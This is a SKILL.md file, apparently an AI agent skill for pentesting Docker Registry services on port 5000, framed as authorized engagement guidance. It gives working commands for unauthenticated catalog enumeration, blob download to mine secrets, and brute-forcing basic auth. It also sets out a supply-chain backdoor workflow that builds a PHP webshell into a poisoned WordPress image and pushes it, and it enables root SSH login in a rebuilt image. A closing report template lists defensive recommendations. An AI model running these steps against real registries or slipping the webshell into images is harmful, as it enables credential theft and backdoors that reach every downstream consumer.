pentesting-docker-registry
$
npx mdskill add xalgord/xalgorix/pentesting-docker-registry- Default port `5000/tcp`, served over **HTTP or HTTPS** (must determine which first). May sit behind an HTTP proxy where nmap misses it. - When `nmap` shows `5000/tcp open http Docker Registry (API: 2.0)`, or `/v2/` returns `{}`. - A registry stores named, tagged images organized into repositories; access lets you pull images (and any secrets baked into layers) or push backdoored images consumed downstream.
SKILL.md
.github/skills/pentesting-docker-registryView on GitHub ↗
---
name: pentesting-docker-registry
description: Testing Docker Registry / Distribution services (default 5000/TCP, HTTP or HTTPS) for unauthenticated catalog access, image and blob/manifest extraction, weak basic-auth, and supply-chain image backdooring (push poisoned WordPress/SSH images) during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- docker-registry
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Pentesting Docker Registry (port 5000)
## When to Use
- Default port `5000/tcp`, served over **HTTP or HTTPS** (must determine which first). May sit behind an HTTP proxy where nmap misses it.
- When `nmap` shows `5000/tcp open http Docker Registry (API: 2.0)`, or `/v2/` returns `{}`.
- A registry stores named, tagged images organized into repositories; access lets you pull images (and any secrets baked into layers) or push backdoored images consumed downstream.
## Quick Enumeration
```bash
# Fingerprints:
# GET / -> empty response
# GET /v2/ -> {}
# GET /v2/_catalog -> repo list or UNAUTHORIZED error
# Determine HTTP vs HTTPS and list repositories
curl -s http://10.10.10.10:5000/v2/_catalog
curl -k https://10.10.10.10:5000/v2/_catalog
# {"repositories":["alpine","ubuntu"]}
# If authentication is required:
# {"errors":[{"code":"UNAUTHORIZED","message":"authentication required",...}]}
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
# Automated enumeration / dump (with or without basic auth)
python3 drg.py http://127.0.0.1 --list
python3 drg.py https://127.0.0.1 -U user -P pass --dump_all
```
## Critical: Checks Most Often Missed
- **Unauthenticated `/v2/_catalog`** — the registry is open if it returns a `repositories` list instead of an `UNAUTHORIZED` error. This is the most common miss; the registry is just an HTTP API.
- **Secrets inside image layers/blobs** — even read-only access lets you pull blobs and unpack them to recover source code, `.env`, config, and credentials baked into layers.
- **Weak/brute-forceable basic auth** — if auth is required, brute force it, then enumerate with `-u user:pass`.
- **Push (write) access -> supply-chain backdoor** — if push is allowed, poison an existing image so every downstream `docker pull`/run executes your payload.
### How to CONFIRM
- Open registry: `curl /v2/_catalog` returns `{"repositories":[...]}` (not an `UNAUTHORIZED` JSON error).
- Read access proven: a `blobs/<sha256>` download succeeds and `tar -xf` reveals real file content.
- Write access proven: `docker push <registry>/<image>` completes and the new tag/manifest is retrievable.
## Workflow
### Step 1: Enumerate
Confirm the service (`/v2/` -> `{}`) and whether it's HTTP or HTTPS. List repositories via `/v2/_catalog`. If `UNAUTHORIZED`, note auth is required.
### Step 2: Authenticate / unauth access
If no auth -> proceed directly. If auth required, brute force basic auth, then re-enumerate with `-u user:pass` or `-A '<bearer token>'`.
### Step 3: Exploit / Extract
Enumerate tags, manifests, and download/unpack blobs to mine secrets:
```bash
curl -s http://10.10.10.10:5000/v2/_catalog # repos
curl -s http://10.10.10.10:5000/v2/ubuntu/tags/list # tags
curl -s http://10.10.10.10:5000/v2/ubuntu/manifests/latest # manifest (blobSums)
# Download a blob then inspect it (decompress each blob in its OWN folder to avoid overwrites)
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:<digest> --output blob1.tar
tar -xf blob1.tar
# Or just pull and inspect with the docker client
docker pull 10.10.10.10:5000/ubuntu
docker history 10.10.10.10:5000/ubuntu # commands used to build each layer
docker run -it 10.10.10.10:5000/ubuntu bash
```
### Step 4: Post-access / pivot
With **write** access, backdoor an image and push it so downstream consumers run your code.
WordPress webshell example:
```bash
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > shell.php
cat > Dockerfile <<EOF
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
EOF
docker build -t 10.10.10.10:5000/wordpress .
docker push 10.10.10.10:5000/wordpress
```
SSH image example: pull the image, extract `sshd_config`, set `PermitRootLogin yes`, rebuild with `RUN echo root:password | chpasswd`, and push. Use recovered secrets from blobs to pivot into other systems.
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Registry / repository** | Storage+distribution API for tagged images; each repo holds image versions |
| **`/v2/` API** | Distribution API root; `/v2/_catalog`, `/tags/list`, `/manifests/<tag>`, `/blobs/<digest>` |
| **Manifest** | JSON describing an image's layers (`blobSum`/`fsLayers`) |
| **Blob** | A compressed layer (tar); unpack to read file content |
| **Basic auth / bearer token** | Optional auth gate; brute-forceable, then enumerate with creds |
| **Image backdooring** | Push a poisoned image so downstream pulls execute attacker code (supply chain) |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **curl** | Raw `/v2/` API calls: catalog, tags, manifests, blob download |
| **DockerRegistryGrabber (drg.py)** | List/dump repos and images (with or without auth) |
| **docker CLI** | `pull`, `history`, `run`, `build`, `push` against the registry |
| **tar** | Unpack downloaded blobs to mine secrets |
| **Hydra / brute tooling** | Crack registry basic auth |
## Common Scenarios
### Scenario 1: Open registry secret mining
`/v2/_catalog` lists `wordpress`; pulling and unpacking blobs reveals `wp-config.php` with database credentials.
### Scenario 2: Brute force then dump
Auth is required; basic auth is cracked (`admin:admin`) and `drg.py --dump_all` exfiltrates every image layer.
### Scenario 3: Supply-chain backdoor
Write access allows pushing a modified base image; every downstream build that `FROM`s it now ships an attacker webshell.
## Output Format
```
## Docker Registry Finding
**Service**: Docker Registry / Distribution (5000/tcp, HTTP|HTTPS)
**Severity**: <Critical|High>
**Target**: <scheme>://<IP>:5000 Auth: <none|basic>
### Evidence
- Unauthenticated catalog: /v2/_catalog returned <repositories>
- Read access: blob download + tar -xf exposed <secrets/files>
- Write access: pushed backdoored image <repo>:<tag> successfully
### Reproduction
curl -s http://<IP>:5000/v2/_catalog
curl http://<IP>:5000/v2/<repo>/blobs/sha256:<digest> --output blob.tar && tar -xf blob.tar
### Recommendation
1. Require authentication (token/basic) and TLS on the registry
2. Restrict network exposure; keep registries off untrusted networks
3. Enforce read-only access for consumers; gate push to CI service accounts
4. Scan images for embedded secrets; rotate any exposed credentials
5. Enable image signing/content trust to prevent poisoned images
```